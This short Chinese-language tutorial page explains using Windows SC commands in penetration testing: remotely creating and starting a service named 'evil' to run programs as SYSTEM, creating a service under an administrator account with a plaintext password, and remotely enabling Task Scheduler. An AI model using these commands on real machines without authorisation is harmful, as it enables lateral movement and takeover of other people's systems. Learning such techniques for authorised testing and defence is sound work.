萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 作業系統 >  >> Windows XP 教學

Windows SC 命令實戰:遠端服務控制、查詢服務路徑與建立惡意服務

SC 命令三大滲透測試常用功能

  • 遠端建立/啟動/刪除服務 (以 SYSTEM 權限執行任意程式)
  • 遠端啟動/停止現有服務 (如工作排程器)
  • 查詢服務詳細資訊 (執行檔路徑、啟動類型等)

1. 遠端建立服務執行命令 (SYSTEM 權限)

sc \\10.1.1.1 create evil binPath= "c:\cmd.exe"
sc \\10.1.1.1 start evil
sc \\10.1.1.1 delete evil

注意:binPath= 等號後需加空格。cmd.exe 需預先存在於目標機器。

2. 指定使用者權限建立服務

sc \\10.1.1.1 create adminsec binPath= "c:\pass.exe" obj= "adminsec\administrator" password= adminsec
sc \\10.1.1.1 start adminsec

3. 遠端啟用/停用服務 (以工作排程器為例)

sc \\10.1.1.1 config schedule start= auto
sc \\10.1.1.1 start "schedule"

# 停用服務
sc \\10.1.1.1 stop "Schedule"

技巧:start= auto 等號後必須有空格,否則可能失效。at 指令相容性較好。

4. 查詢服務執行檔路徑

sc qc schedule

輸出包含 BINARY_PATH_NAME 顯示完整路徑。

關鍵概念:服務名稱 vs 顯示名稱

  • 服務名稱:系統內部識別名 (如 Schedule),SC 命令多數參數需用此名。
  • 顯示名稱:服務管理員顯示的友善名稱 (如「工作排程器」)。
  • 用 sc getkeyname "顯示名稱" 可查詢對應服務名稱。
copyright © 萬盛學電腦網 all rights reserved